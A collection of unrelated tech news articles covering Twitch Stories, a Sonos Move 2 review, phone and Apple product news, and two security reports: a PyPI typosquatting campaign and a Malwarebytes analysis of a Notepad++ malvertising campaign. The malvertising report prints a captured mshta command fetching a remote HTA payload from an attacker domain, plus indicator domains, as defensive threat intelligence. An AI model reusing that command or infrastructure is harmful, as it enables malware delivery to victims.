Video-streaming platform Twitch gets a big social media feature: Stories

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Video-streaming platform Twitch gets a big social media feature: Stories
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The live-streaming gaming platform Twitch is now getting a very popular social media feature, reports Pocket-lint. We’re talking about stories, which is something that usually social media have.

Twitch is getting Stories


The mobile app is now going to be receiving the update with the new feature, and the news was announced in a Twitch blog post. Stories were first introduced on Snapchat and have since been adopted by a large number of social media apps, including Instagram, Facebook, WhatsApp and others. For the Stories on Twitch, everything is pretty similar to what we’re used to from other platforms. Creators can add images, text, posts, and live-stream clips to their Stories. The Story will be visible for 48 hours and then it will disappear.

This new feature will make it possible for streamers to give quick updates to their followers directly on Twitch. This makes it easier for followers and streamers to get and give updates without needing to go off to another platform to do so.

In the beginning, the new feature will be available to Twitch partners and affiliates that have streamed in the last 30 days, so pretty much only established creators will get to use the feature first. Streamers with over 30 subs will also be able to create subscriber-only Stories.

Initially, creators will be able to add text and emojis to their images and clips in Stories, but more functions will be added later (including the ability to upload videos, edit clips, tag other Twitch users, and even polls).


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Sonos Move 2 Review: The Perfect Upgrade

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Sonos Move 2 Review: The Perfect Upgrade
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Sonos makes some really great sounding speakers, and personally, I have a number of them throughout my home. So adding the Move 2 to my setup was a no-brainer. But the amount of time it took Sonos to make a portable, Bluetooth speaker wasn’t a no-brainer. Sonos debuted the first Move in 2019. That was a solid 17 years after its first speaker hit the market.

The Sonos Move was a big hit for the company. It packaged Sonos’ popular technologies and impressive sound quality, into a portable package. It was quite pricey for a portable speaker, when many think of a “portable speaker” they think of something that’s sub-$100. That’s not Sonos and not the Move. It retailed at $399, and still sold very well.

Now here we are four years later. The Sonos Move 2 is here, and it has a $50 price increase. Normally, that would be a big deal-breaker for me in recommending a product. But considering the Move was announced four years ago, before the pandemic, a $50 price increase is not bad. Basically just keeping up with inflation. Not to mention, Sonos added more battery life, better stero sound and even line-in. Making it worth more than that $50 price increase.

The real question here is whether you should buy the Sonos Move 2, and if it is worth that price. Let’s find out in our review of the Sonos Move 2.

Sonos Move 2 Review AM AH 08
Sonos Move vs Sonos Move 2

Sonos Move 2 Review: Hardware and Design

If you’ve used or own the original Sonos Move, the design of the Move 2 is not going to surprise you. At first look, it looks identical to the original. But there are a few minor tweaks here, externally.  Similar to the original Move, Move 2 is available in black and white. New this year is an Olive color, which looks quite nice. What I have here is the white, along with the black original Move. Which gives a nice look at the different colors and how the two models have changed in four years.

Sonos Move 2 Review AM AH 10

On the top, you still have all of the same buttons. This includes play/pause, forward and back. The volume buttons are also here, and they have a recessed line from the – to the + which is a small thing, but makes it a lot easier to slide the sound from low to high. The indicator light for the speaker listening to you is still there, but with a different icon. Not it looks like a thought bubble, versus a microphone.

Sonos Move 2 Review AM AH 06

The other major change is on the back. Previously, there was no button to turn off the microphone on the speaker itself. Now there is. So on the back, you’ll see a power button, a Bluetooth toggle and another toggle for the microphone. Otherwise, these two are identical from the outside. But, Sonos did make bigger changes internally.

The biggest change to sound quality here is in the form of the tweeters. Sonos ditched a single tweeter to offer dual left- and right-channel tweeters here. This works with the single woofer to deliver stereo audio. And while this is technically not a full stereo setup, the configuration is pretty similar among portable speakers.

The other big change is the bigger battery inside the Move 2. Sonos claims that the Move 2 can now last 24 hours of continuous playback. That is actually more than double what the original Sonos Move did – at 10 hours. We’ve been testing it, and it does seem to last that long and then some. Sonos tested this number at 50% volume for 24 hours. I usually have it lower than that – since I have it on my desk playing YouTube Music while I work. And it was able to last quite a few days on a single charge for me. If you’re looking to take this to a get-together outside, or the beach, you’ll be happy with the amount of battery life you get here.

Sonos Move 2 Review AM AH 01

Speaking of the battery, there is a dock that comes with the Sonos Move 2. It does use USB-C, but you will want to plug it into the charging brick that is in the box. There is a USB-C port on the back of the Sonos Move 2, so if you’re out and run out of juice on your Move 2, you can plug it in. You will need a USB-C PD power brick for this, which most smartphones use these days anyways. . Now the USB-C port does more than just power. It can also be used for an Ethernet dongle, and that’s also how you do Line-In on the Move 2.

Sonos Move 2 Review: Software

There’s not a lot that’s special about the software on the Move 2, it’s basically exactly the same as any other Sonos product. You’ll use the new Sonos app, which has all of your speakers included. Within the app, you can control some settings for the Move 2, like the Bluetooth and WiFi Settings, as well as setting the bass and treble volumes, and more. But you can also choose what you want to listen to, and also group different speakers together in your home.

This is where Sonos excels over the competition. The fact that you can group speakers wirelessly to play the same thing, and there’s no lag. So I can have music playing on the Sonos Move 2 in the basement, and group it with the Sub Mini and Beam 2 in the Living Room to fill the home with audio, and it sounds incredible. Especially with the Sub Mini and Beam 2 since they have Dolby Atmos. Sonos will also allow you to change the volume levels on each room or speaker.

Sonos does have support for Apple’s AirPlay 2 here, it has never had Google Cast and after Sonos sued Google for patent infringement, I don’t think that’s going to ever come. Which means that the streaming music services are kind of limited here. Spotify works perfectly, because Spotify Connect is just so good. But if you use YouTube Music, you’ll have to get creative here. The best way to listen to music at your desk is to download the Sonos app on your computer and add YouTube Music. Apple Music does have AirPlay 2 support, so it’s as easy as connecting to the speaker – the same as Spotify.

Sonos Move 2 Review: Audio Quality

Now what about the most important aspect of a speaker, the sound quality. If you’ve owned any Sonos speaker recently, the sound won’t surprise you. There’s plenty of bass here, and the mids and highs sound really crisp and clear. But I would recommend not to go much louder than 50%. That’s when the sound starts to disintegrate. Luckily, even at 50%, it does get very loud. Great for using outdoors, which is the whole point of having a portable speaker.

The only other complaint I have here is that it does not have Dolby Atmos. I really wish it did have Dolby Atmos support here, like its soundbars and subs have now. But that would, understandably, add more to the price here.

Sonos Move 2 Review AM AH 07

Should you buy the Sonos Move 2?

So the big question is, whether you should buy the Sonos Move 2. And the answer to that question is whether you are invested in the Sonos ecosystem already or not. I have a Sonos Beam 2, Sub Mini, SYMFONISK and a few other speakers in my home, so the Move 2 is a great addition. As it’s one that I can take outside onto the patio for a BBQ with ease. But if you’re not already in the Sonos ecosystem, this might not be as easy as a choice.

But it is a good way to get into the Sonos ecosystem. Since the Move 2 is pretty accessible, with both Line-In and Bluetooth support here. If you want a speaker that sounds great, can be taken outside without even thinking about it, then it doesn’t get much better than the Sonos Move 2.


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Supply Chain Attack Targeting Telegram, AWS and Alibaba Cloud Users

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Supply Chain Attack Targeting Telegram, AWS and Alibaba Cloud Users
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KEY FINDINGS

Cybersecurity firm Checkmarx has discovered a new wave of supply chain attacks exploiting bugs in popular communication and e-commerce platforms.

The targeted platforms include Telegram, Alibaba Cloud, and AWS.

Attackers are injecting malicious code into open-source projects and compromising systems.

They leveraged Starjacking and Typosquatting techniques to lure developers to the malicious packages.

The campaign was active throughout September 2023.

Cybersecurity firm Checkmarx discovered a new supply chain attack, which they believe was launched by a low-key threat actor it tracks as kohlersbtuh15. This campaign was active in September 2023. 

The recent surge in these malicious attacks prompted the Open Source Security Foundation (OpenSSF) to introduce its latest initiative, the Malicious Packages Repository, just last week.

As per the Checkmarx report authored by Yehuda Gelb, the attacker used the Python programming software repository (Pypi) and launched attacks using Starjacking and Typosquatting techniques.

Further probing revealed that the actor is exploiting vulnerabilities in platforms, such as Telegram, Amazon Web Services (AWS), and Alibaba Cloud Elastic Compute Service (ECS) to target developers and users. They are exploiting Aliyun’s services, and these three platforms are a part of it.

The attacker injects malicious code into the open-source projects these platforms are using to compromise users’ devices and steal sensitive data, financial and personal information, and login credentials. The malicious code is injected into specific software functions, which makes it pretty challenging to detect foul play and address the issue.

The code embedded into these packages doesn’t execute automatically but is strategically hidden inside different functions and triggers when one of these functions is called. Reportedly, kohlersbtuh15 launched a series of malicious packages to the PyPi package manager, targeting the open-source community.

Using typosquatting, the attackers craft a package mirroring the legitimate one, but the fake package has a hidden malicious dependency, which triggers the malicious script running in the background. The victim would not suspect anything as everything happens behind the scenes.

Starjacking refers to linking a package hosted on a package manager to an unrelated package repository on GitHub. Through this technique, unsuspecting developers are tricked into considering it an authentic package. To enhance the scope of this attack, threat actors have combined these two techniques in the same software package.

For instance, the Telethon 2 package is a typosquatted version of the popular Telethon package that also performs starjacking via the official Telethon package’s GitHub repository. This indicates the threat actor has copied the source code exactly as it is from the official package and embedded malicious lines in the telethon/client/messages.py file. The malicious code is executed with the command Send Message only.

Supply Chain Attack Targeting Telegram, AWS and Alibaba Cloud Users
The screenshot displays a list of malicious packages and the countries with the highest downloads of these packages, as reported by Checkmarx.

“By targeting popular packages used in platforms such as Telegram, AWS, and Alibaba Cloud, the attacker demonstrated a high level of precision. This was not a random act, but a deliberate effort to compromise specific users who rely on these widely-used platforms, potentially impacting millions of people,” Gelb wrote.

The damage caused by this attack is far greater than compromised devices as all types of data linked with these platforms, like communication details from Telegram or AWS cloud data and business-related data from Alibaba Cloud, could be accessed and exploited. This attack highlights that supply chain attacks continue to be a threat as attackers are eyeing vulnerabilities in third-party services/software to access targeted systems and steal data.

  1. Understanding Software Supply Chain and How to Secure It
  2. Luna Grabber Malware Hits Roblox Devs Through npm Packages
  3. 6 official Python repositories plagued with cryptomining malware
  4. CISA warns of trojanized versions of JavaScript library’s NPM package
  5. VMCONNECT: Malicious PyPI Package Mimicking Common Python Tools
  6. Crypto Discord Communities Targeted by Malicious Bookmarks & JavaScript

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Nothing OS 2.0.4 is finally arriving on the Nothing Phone (1)

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Nothing OS 2.0.4 is finally arriving on the Nothing Phone (1)
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Carl Pei’s Nothing is good when it comes to distributing updates to its phones. This makes sense, as there are only two of them. In any case, the company is keeping its phones up to date. The Nothing Twitter account just announced that Nothing OS 2.0.4 is now arriving on the Nothing Phone (1).

In case you don’t know, Nothing OS 2 is the newest version of the company’s mobile operating system. It’s based on Android 13, and it brings some notable changes to the software. It looks very different from Nothing OS 1 because the company had many more resources when developing Nothing OS 2. Now, Nothing is working on making improvements to the software.

Nothing OS 2.0.4 is finally coming to the Nothing Phone (1)

While it’s not the newest Nothing Phone, the Phone (1) is still pretty early in the game with only one year on it. Thus, it’s still getting the latest and greatest from the company. This includes the newest software from the company. The latest version of Nothing OS is version 2.0.4, and it brings some welcomed changes.

The official Nothing Twitter page just posted that it’s coming out today. So, if you own the Nothing Phone (1), then you should be on the lookout for the OTA. If you don’t see it yet, then you might just want to wait a bit. There are a few people commenting that it hasn’t reached them yet.

As for the update, it weighs in at only 58MB. Users will see a new Photo widget. This will allow you to display your favorite photos on your home screen and lock screen. It’s a little photo album for your phone.

Next up, the company is bringing a secret app drawer. When you’re in the regular app drawer, you’ll left to the side to access a secret app drawer. Apps moved there will be hidden from the regular app drawer.

Aside from those new features, this update brings some bug fixes and stability improvements.


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Apple announces new Apple Pencil with a USB-C port

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Apple announces new Apple Pencil with a USB-C port
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After a few last minute rumors, Apple has finally taken the wraps off of a new Apple Pencil. Which, honestly, it’s about time. The previous generation was announced back in 2018. So it was about time we got a new model. But, interestingly, it is not being called a “3rd generation”, only “Apple Pencil (USB-C) and it also comes in cheaper than the previous two Apple Pencils.

The new Apple Pencil makes a few changes that might be a bit odd. Like having an actual USB-C port built-in. It has a sliding cap at the top that reveals the USB-C port. And this will allow users to pair and charge via a USB-C cable. It also has a mate finish and looks very similar to the second-generation Apple Pencil.

It also features low latency and tilt sensitivity like the other Apple Pencil options on the market. But it does miss out on pressure sensitivity. As well as wireless pairing, and charging. So now when you put it on the side of your iPad, it will only put the Pencil to sleep, not charge. It is also compatible with all USB-C iPads.

It’s almost like an “Apple Pencil SE”

This new Apple Pencil will be available in November and will cost you $79. That makes it $20 less than the original Apple Pencil and $50 less than the second-generation model. And with everything that it is missing here, it definitely sounds like it’s an Apple Pencil SE. But without the “SE” name. It’s a rather interesting move for Apple.

That also explains a bit better why this is not being called a “3rd Generation” Apple Pencil, but rather just adding “USB-C” to the name. A lot like Apple did with the AirPods Pro, but this is clearly a cheaper version of the Apple Pencil. The only question here is why? Were people really clamoring for a cheaper Apple Pencil? There’s quite a few features missing here, which make the Apple Pencil so great – like wireless charging.

Screenshot 2023 10 17 at 9 32 42 AM


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Want to find a song by humming it? YouTube has your back as it’s rolling out dozens of new features

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Want to find a song by humming it? YouTube has your back as it’s rolling out dozens of new features
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YouTube is treating its users to a slew of new features and design tweaks. Following last year’s revamp for a better user experience, the platform is now introducing over three dozen new updates, including better audio control on mobile devices, easier control on playback speeds, Search by voice or song, a brand new You tab, and more. First up is “stable volume,” an automatic feature that evens out volume fluctuations for a more consistent experience. No more jarring changes to disrupt your flow.
Image Credit–YouTube - Want to find a song by humming it? YouTube has your back as it's rolling out dozens of new features

Image Credit–YouTube

For those who like to speed through videos, there is “Press to 2x.” Just press and hold anywhere on the player, and voila, your playback speed doubles. Once you get to the part of the video you want, simply let go. A handy trick for those in a hurry, available on the web, tablets, and mobile devices.

YouTube is also introducing larger preview thumbnails, making it easier to navigate while seeking. No need to worry if you change your mind mid-seek; a simple lift from where you started takes you right back to where you left off.

Ever wish your screen would not lock during crucial moments? Now, you can lock your screen on mobile and tablets, preventing those annoying interruptions. A successful experiment we reported about a while back turned into a feature we can all enjoy.

The updates don’t stop here though, as now you can say goodbye to the Library tab. It is merging with the account page into a new home called the You tab. All your watched videos, playlists, downloads, purchases, account settings, and channel information in one place. Already rolling out, the You tab can be found where the Library tab used to be on the web, mobile, and tablets.

Image Credit–YouTube - Want to find a song by humming it? YouTube has your back as it's rolling out dozens of new features

Image Credit–YouTube

 

There is more, and probably one that will ease a lot of stress for users who often can not remember a certain song (I know I will take advantage of this new feature). The new Search by voice or song feature uses AI to match the sound to the original recording. So, if you can’t remember a song, just hum it. This feature is coming in the next few weeks for Android users.

For avid YouTube fans, there is also a treat. Animations are coming to add flair to your viewing experience. When creators prompt you to “like” or “subscribe,” watch for visual cues on those buttons in sync with the video. Hit that button and enjoy a subtle explosion of playful sparkles.

Top comments now automatically rotate for you to scan the best commentary from the community. And, for new video uploads, YouTube now incorporates a new animation. It dynamically updates the view and like count in real-time during the initial 24 hours, giving a live display of how many users are engaging with the content.


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The forgotten malvertising campaign

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The forgotten malvertising campaign
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A sophisticated threat actor has been using Google ads to deliver custom malware payloads to victims for months while flying under the radar.

In recent weeks, we have noted an increase in malvertising campaigns via Google searches. Several of the threat actors we are tracking have improved their techniques to evade detection throughout the delivery chain.

We believe this evolution will have a real world impact among corporate users getting compromised via malicious ads eventually leading to the deployment of malware and ransomware.

In this blog post, we look at a malvertising campaign that seems to have flown under the radar entirely for at least several months. It is unique in its way to fingerprint users and distribute time sensitive payloads.

Malicious ads for Notepad++

The threat actor is running a campaign targeting Notepad++, a popular text editor for Windows as well as similar software programs such as PDF converters. The image below is a collage of malicious ads we observed recently, all run by the same threat actor but via different ad accounts, likely compromised.

A first level of filtering happens when the user clicks on one of these ads. This is likely an IP check that discards VPNs and other non genuine IP addresses and instead shows a decoy site:

However, intended targets will see a replica of the real Notepad++ website hosted at notepadxtreme[.]com:

Fingerprinting for VM detection

A second level of filtering happens when the user clicks on the download link where JavaScript code performs a system fingerprint. We had previously observed some malvertising campaigns check for the presence of emulators or virtual machines and this is what happens here also, although the code being used is different and more complex.

If any of the checks don’t match, the user is being redirected to the legitimate Notepad++ website. Each potential victim is assigned a unique ID that will allow them to download the payload.

Custom, time-sensitive download

Another thing that sets apart this campaign from others is the way the payload is being downloaded. Each user is given a unique ID with the following format:

CukS1=[10 character string][13 digits]

This is likely for tracking purposes but also to make each download unique and time sensitive.

Unlike other malvertising campaigns the payload is a .hta script. It follows the same naming convention seen above with the download URL:

Notepad_Ver_[10 character string][13 digits].hta

Attempting to download the file again from the same URL results in an error:

.HTA Payload

The .hta file we captured during our investigation was not fully weaponized. However, we were able to find another one that was uploaded to VirusTotal in early July. It uses the same naming convention and we can see the lure was “PDF Converter” instead of Notepad++.

The script is well obfuscated and shows 0 detection on VirusTotal. However, upon dynamic analysis, there is a connection to a remote domain (mybigeye[.]icu) on a custom port:

C:\Windows\SysWOW64\mshta.exe "C:\Windows\System32\mshta.exe" 
https://mybigeye .icu:52054/LXGZlAJgmvCaQfer/rWABCTDEqFVGdHIQ.html?client_id=jurmvozdcf1687983013426#he7HAp1X4cgqv5SJykr3lRtaxijL0WPB6sdGnZC9IouwDKf8OEMQTFNbmYzU2V+/=

We also notice it uses the same client_id stored in the filename when making that remote connection.

While we don’t know what happens next, we believe this is part of malicious infrastructure used by threat actors to gain access to victims’ machines using tools such as Cobalt Strike.

Innovation makes malvertising a greater threat

We have observed an increase in the volume of malvertising campaigns but also in their sophistication over the past several months. Threat actors are successfully applying evasion techniques that bypass ad verification checks and allow them to target certain types of victims.

With a reliable malware delivery chain in hand, malicious actors can focus on improving their decoy pages and craft custom malware payloads. This is another space where we see some innovation and where security vendors are currently running behind.

Threat intelligence is a critical part of a defensive strategy to better understand the threat landscape in order to protect users. For example, tracking malicious ads allows us to quickly identify the infrastructure used by threat actors and immediately block it. Following the malware delivery chain shows us any new techniques that may bypass current security products and helps us to adjust our detections accordingly.

Indicators of Compromise

Ad domains:

switcodes[.]com
karelisweb[.]com
jquerywins[.]com
mojenyc[.]com

Fake Notepad++ site:

notepadxtreme[.]com

Script C2:

mybigeye[.]icu

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

TRY NOW


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Release date, specs, price & more

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Release date, specs, price & more
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The Samsung Galaxy S24 and Galaxy S24+ are on the way. These two smartphones will be joined by the Galaxy S24 Ultra, the most powerful device in the series. You can read more about that phone in a separate article, we’re here to focus on the regular and ‘plus’ model. The Galaxy S24 and Galaxy S24+ will have a lot in common, based on rumors and leaks. The two phones will be different in terms of size, though, and there will be some other differences. They will differ from the Galaxy S24 Ultra, though. Plenty of info already surfaced regarding both phones, and more will keep on coming until the launch event occurs. We’re here to keep you in the loop, so read on if you’re interested in Samsung’s upcoming devices.

This article will be regularly updated with new information on the Samsung Galaxy S24 & Galaxy S24+ (this is a preview article) — both official teasers and credible leaks, rumors, and insider claims — as it becomes available in the run-up to the release of the upcoming Android smartphone. This is the initial publishing of the article.

When will the Samsung Galaxy S24 & Galaxy S24+ be released?

The Samsung Galaxy S23 series launched on February 1. Well, their successors will come a bit sooner than that, and sooner than expected. The Galaxy S24 series is said to launch in January 2024. Several sources said that the devices are coming in January, and both January 17 and 24 have been tipped. Samsung usually hots its Unpacked events on Wednesdays, and both of those dates fit the bill. It’s unlikely they’ll arrive sooner than that. The Galaxy S21 series launched on January 14 back in 2021. The Galaxy S22 and S23 series phones both arrived in February, in case you were wondering.

Another thing worth noting is that the Galaxy S24 lineup will likely launch in San Francisco. That hasn’t been confirmed thus far, but a report surfaced, claiming that it will be a likely destination. That is where the Galaxy S23 launched, by the way. That will be a global event aka a global announcement.

What models are coming?

Samsung will announce three Galaxy S24 series models next year, two of which we’re focusing on in this article. The Galaxy S24 Ultra we covered in a separate article, while the Galaxy S24 and Galaxy S24+ are the topic here. Their design will be identical, we’ll talk more about that in the design section. We still don’t know what models exactly are coming in terms of RAM and storage.

How much will the Samsung Galaxy S24 & Galaxy S24+ cost?

The Samsung Galaxy S24 series phones will likely cost the same as their predecessors. This won’t be a huge design revamp for Samsung, and considering the market these days, it’s very likely Samsung will stick with the Galaxy S23 series pricing. That’s just a guess at this point, as no specific info surfaced just yet. If that ends up being the case, however, the Galaxy S24 will start at $799, while the Galaxy S24+ will start at $999 in the US.

Do note that the Galaxy S23 started at 128GB storage, while the Galaxy S23+ started at 256GB. If Samsung opts to move up the ante, and puts the vanilla Galaxy S23 at 256GB storage starting level, the price will go up. If that ends up being the case, the base model could end up costing up to $899. The Galaxy S24+ will likely stay at the 256GB storage level as a starting point.

What will the Samsung Galaxy S24 & Galaxy S24+ look like?

What about the design? Well, both devices did surface in CAD-based renders. Those renders gave us a really good look at both phones. The two devices will look the same, it seems, but the Galaxy S24+ will be a bit bigger, due to a larger display. We’ll get flat sides this time, all around, with chamfered edges. All of the physical buttons will sit on the right-hand side, as expected. The power/lock button will sit below the volume up and down keys. Those buttons will also be made out of metal. A 5G antenna will be placed on the right side too.

Now, the question is, what metal will Samsung use? Some rumors said that only the ‘Ultra’ model will get the titanium frame, while others claim that the entire Galaxy S24 series will. If the ‘Ultra’ ends up being the only one, the Galaxy S24 and Galaxy S24+ will likely use aluminum. The front and back sides of the phone will be flat too, including a flat display. A centered display camera hole will be present, as on the Galaxy S23 series.

On the back, you’ll notice a familiar setup. Three cameras will be vertically-aligned in the top-left corner of the Galaxy S24 and Galaxy S24+ backplates. Each camera will protrude from the back separately, they won’t be a part of the same camera island or anything like that. The LED flash will sit between the first and second camera, but a bit to the right side, not literally between them. Samsung’s logo will also be present on the back, in a similar fashion as on the Galaxy S23 series.

Samsung Galaxy S24 CAD renders:

Samsung Galaxy S24+ CAD renders:

What specs will the Samsung Galaxy S24 & Galaxy S24+ have?

The Samsung Galaxy S24 and Galaxy S24+ will be inferior to the Galaxy S24 Ultra, but still plenty powerful. In fact, the two smartphones are said to utilize the same SoC, the Snapdragon 8 Gen 3 for Galaxy. That will essentially be an overclocked variant of the Snapdragon 8 Gen 3. Samsung and Qualcomm did something similar for the Galaxy S23 series. The thing is, the Galaxy S24 and Galaxy S24+ are said to use the Exynos 2400 in some markets too (like Europe, for example), instead of the Snapdragon 8 Gen 3. That will not be the case for the ‘Ultra’ model, allegedly. That phone will run the Snapdragon 8 Gen 3 for Galaxy, exclusively.

Both the Galaxy S24 and Galaxy S24+ will get upgraded displays, compared to the Galaxy S23 series. They will get brighter displays just like the ‘Ultra’ model. The Galaxy S24+ is also tipped to get a resolution upgrade on top of the brightness boost. All phones will top out at 2,500 nits of brightness, and such brightness will only be achievable in auto mode. The Galaxy S23 will offer a 6.2-inch fullHD+ (2340 x 1080) display, while the ‘Plus’ model will utilize a 6.7-inch WQHD+ (3120 x 1440) panel. All three displays are said to offer a 19.5:9 aspect ratio, just like their predecessors. They’ll all be flat too.

Charging speeds will remain unchanged

A 4,000mAh battery will be used by the Galaxy S24, while the Galaxy S24+ will utilize a 4,900mAh unit. The Galaxy S24 will once again offer 25W wired charging, just like its predecessor, while the charging will also remain unchanged on the Galaxy S24+. That device will support 45W wired charging. Both smartphones are also expected to support 15W wireless charging, and 4.5W reverse wireless charging aka Wireless PowerShare.

Android 14 will come pre-installed on the Galaxy S24 and Galaxy S24+. On top of it, Samsung will include a new version of its One UI skin too. Stereo speakers will be included too, and they will be tuned by AKG. Bluetooth 5.3 is expected as well. The camera info is still not available for the Galaxy S23 and Galaxy S23+. The two phones will likely offer identical camera setups, though. We do know that three cameras will sit on the back, and those are almost certainly wide, ultrawide, and telephoto units. A periscope telephoto camera will be exclusive to the ‘Ultra’ model, as was the case for the previous lineup.

Should you wait to buy the Samsung Galaxy S24 & Galaxy S24+?

So, should you wait to buy either of these two phones? Well, the answer to this question will be different for different people, of course. There are plenty of great phones on the market as it is, but these devices will usher in a new Snapdragon SoC to the market. The Snapdragon 8 Gen 3 proved its power in benchmarks, and will be a force to be reckoned with. On the other hand, the Exynos 2400 info is still scarce, but chances are it won’t live up to the Snapdragon 8 Gen 3 standard, at least based on what we’ve seen from previous models. So, the performance of that chip will play a huge role in our answer to this question.

We’ll be able to fully answer it after the reviews, of course, but it looks like the Galaxy S24 and Galaxy S24+ won’t bring all that many changes to the table. We’re looking at a refinement here, for sure, but… the question is will they bring forth more than that? The cameras are also a big question mark now, and so on. It’s too early to say. There are plenty of truly compelling smartphones on the market as it is, though, so if you’re eager to get one… chances are you won’t be too disappointed. If you can wait, do that, and see what these phones will offer.


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Apple’s efforts to prevent climate change are the best, but there is a catch

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Apple’s efforts to prevent climate change are the best, but there is a catch
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At the recent iPhone 15 launch event, Apple went to great lengths to talk about its dedication to environmental preservation, positioning itself first in corporate sustainability. However, according to new reports from Stand.earth and Greenpeace, despite Apple being the clear leader in terms of taking steps to prevent climate change, its achievements might be a little exaggerated.

According to Stand.earth’s report, which included six major tech giants—Apple, Dell, Google, HP, Microsoft, and Nvidia—Apple stood out in its commitment to the environment, even setting targets for its suppliers to shift to clean energy sources. This meant that not only was Apple taking the needed steps itself, but it was also forcing its suppliers to follow suit. Additionally, over 300 suppliers have committed to using only clean energy when producing Apple products by 2030.

Moreover, the report highlighted Apple’s commitment to the term “absolute” in emission reduction commitments. This is because some companies rely on Renewable Energy Certificates to assert carbon neutrality, potentially hiding genuine carbon emissions.

Another side of the coin

While Apple’s efforts in preventing climate change are ahead of every other company, a report from Greenpeace has showcased another revelation revolving around the company’s rapid release of products. This is because the regular release of new iPhone models, even with minimal changes, has a significant impact on the environment, considering the sheer scale of Apple.

Impact of the tech industry on the environment

To put things into perspective, the tech industry contributes 4% of global greenhouse gas emissions, surpassing even the aviation sector. This means that every small step a company takes towards reducing its emissions could have a significant impact on protecting the environment.

Stand.earth’s report also includes steps these companies can take to reduce their carbon footprint. These include the strategic procurement of clean energy since power grids cannot currently meet companies’ aspirations of carbon neutrality. This has prompted many, including Apple, to resort to purchasing Renewable Energy Certificates (RECs).

However, in an effort to address this issue, Apple, along with Google and Microsoft, is working on strategies to bring more clean energy into the local grids where they operate.


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iOS 17 users in therapy trigger awkward fireworks unintentionally

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iOS 17 users in therapy trigger awkward fireworks unintentionally
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Online therapy sessions are becoming a cringe parade thanks to one particular iOS 17 feature that is not intended to do so, but here we are.

The new Apple operating system brings many enhancements to FaceTime, one of which is the option for 3D reactions that pop up when users do specific hand gestures (via 9to5Mac). So far, so good – that’s part of the online communication’s evolution. However, in some particular scenarios and situations, the new FaceTime effects can mature into full-blown embarrassing moments – like in online therapy sessions.

These new features in iOS 17 (and macOS Sonoma) are triggered when users make gestures with their hands and fingers in front of the camera, such as thumbs up, thumbs down, or “hearts”. That’s when 3D emojis, balloons, confetti, and even fireworks pop up on the screen during a video call behind the user.

The Verge has the story of a user who triggered such unwanted fireworks in the FaceTime background during a therapy session when he did thumbs up with both hands while describing one of his traumas. He was asked a question and in response, he gave a thumbs up. That’s when the background exploded in colorful pyrotechnics.

Although iOS 17 is brand new, the problem has spread in no time, causing telehealth platforms to prompt a message at the start of the therapy sessions: a warning dialog. Although users can disable such reactions, they’re enabled by default – so many people have no idea about them in the first place.

Here’s how to turn off 3D reactions in video calls:

  • Start a video call (or open the FaceTime app)
  • Swipe from the top right corner of the screen to access Control Center
  • If you have an iPhone SE, swipe up from the bottom of the screen
  • Tap Video Effects
  • Turn off the Reactions option

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